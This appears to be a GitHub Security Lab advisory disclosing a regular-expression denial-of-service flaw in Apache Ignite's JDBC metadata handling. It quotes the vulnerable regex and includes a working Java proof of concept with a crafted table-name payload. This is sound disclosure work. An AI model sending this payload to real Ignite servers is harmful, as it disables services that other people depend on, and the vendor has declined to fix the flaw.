Coordinated Disclosure Timeline
- 2022-04-07: Report sent to security@apache.org
- 2022-05-30: Asked for an update
- 2022-08-01: The team responded that it doesn’t plan to fix the issue
Summary
Apache Ignite up to version 2.12.0 is vulnerable to Regular Expression Denial of Service (ReDoS) in the way it handles table names when requesting primary keys through its JDBC driver. Specially crafted table names may cause catastrophic backtracking, taking exponential time to complete.
Product
Apache Ignite
Tested Version
Details
Issue: Regular Expression Denial of Service (ReDoS) in SqlListenerUtils.java
. (GHSL-2022-023
)
Apache Ignite uses the following regular expression to convert SQL wildcards (like %
) into regular expressions (like .*
):
toRegex = toRegex.replaceAll("([^\\\\\\\\])(\\\\\\\\(?>\\\\\\\\\\\\\\\\)*\\\\\\\\)*\\\\\\\\([_|%])", "$1$2$3");
Note the nested repetition at \\\\\\\\\\\\\\\\)*\\\\\\\\)*
. The regex engine would need to exponentially backtrack [1] in order to distinguish which part of the expression (either the backslashes before the first *
or after it) matches the input in case there is not a full match.
The method SqlListenerUtils.translateSqlWildcardsToRegex
is used to handle SQL queries in several parts of Ignite, one of them being the JdbcRequestHandler.doHandle
method (through OdbcUtils.preprocessPattern
, OdbcRequestHandler.matchesTableType
, and OdbcRequestHandler.getColumnsMeta
), which listens for requests through Ignite’s JDBC driver.
This means that a user-controlled table name that gets passed to a DatabaseMetaData.getPrimaryKeys
call using Ignite’s JDBC driver will reach the vulnerable regular expression, which could be exploited to cause the denial of service.
As an example, the following code demonstrates how to trigger the vulnerability, provided that an Ignite server is running at 127.0.0.1
:
public class RedosIgnitePoc {
static class Person {
}
public static void main(String[] args) throws IgniteException {
// Preparing IgniteConfiguration using Java APIs
IgniteConfiguration cfg = new IgniteConfiguration();
// The node will be started as a client node.
cfg.setClientMode(true);
// Classes of custom Java logic will be transferred over the wire from this app.
cfg.setPeerClassLoadingEnabled(true);
// Setting up an IP Finder to ensure the client can locate the servers.
TcpDiscoveryMulticastIpFinder ipFinder = new TcpDiscoveryMulticastIpFinder();
ipFinder.setAddresses(Collections.singletonList("127.0.0.1:47500..47509"));
cfg.setDiscoverySpi(new TcpDiscoverySpi().setIpFinder(ipFinder));
// Set a cache configuration so that it has a query entity
CacheConfiguration<Long, Person> personCacheCfg = new CacheConfiguration<Long, Person>();
personCacheCfg.setName("Person");
QueryEntity queryEntity = new QueryEntity(Long.class, Person.class)
.addQueryField("id", Long.class.getName(), null)
.addQueryField("age", Integer.class.getName(), null)
.addQueryField("salary", Float.class.getName(), null)
.addQueryField("name", String.class.getName(), null);
queryEntity
.setIndexes(Arrays.asList(new QueryIndex("id"), new QueryIndex("salary", false)));
personCacheCfg.setQueryEntities(Arrays.asList(queryEntity));
// Starting the node
Ignite ignite = Ignition.start(cfg);
IgniteCache<Long, Person> cache = ignite.getOrCreateCache(personCacheCfg);
cache.put(1L, new Person());
System.out.println(">> Created the cache and added the values.");
try {
// Registering the JDBC driver.
Class.forName("org.apache.ignite.IgniteJdbcDriver");
Connection conn = DriverManager.getConnection("jdbc:ignite:thin://127.0.0.1");
DatabaseMetaData meta = conn.getMetaData();
String redosPayload =
"!\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\!\\";
meta.getPrimaryKeys(null, null, redosPayload);
} catch (Exception e) {
System.err.println(e);
}
// Disconnect from the cluster.
ignite.close();
}
}
Note that JDK 9 introduced important mitigations for this problem, so in order to reproduce the issue with the above example, the application using Apache Ignite must be run with JDK =< 8.
Impact
This issue may lead to a denial of service of the application using Apache Ignite by resource consumption.
Resources
[1] https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS [2] https://github.com/google/re2j
Credit
This issue was discovered and reported by the CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2022-023
in any communication regarding this issue.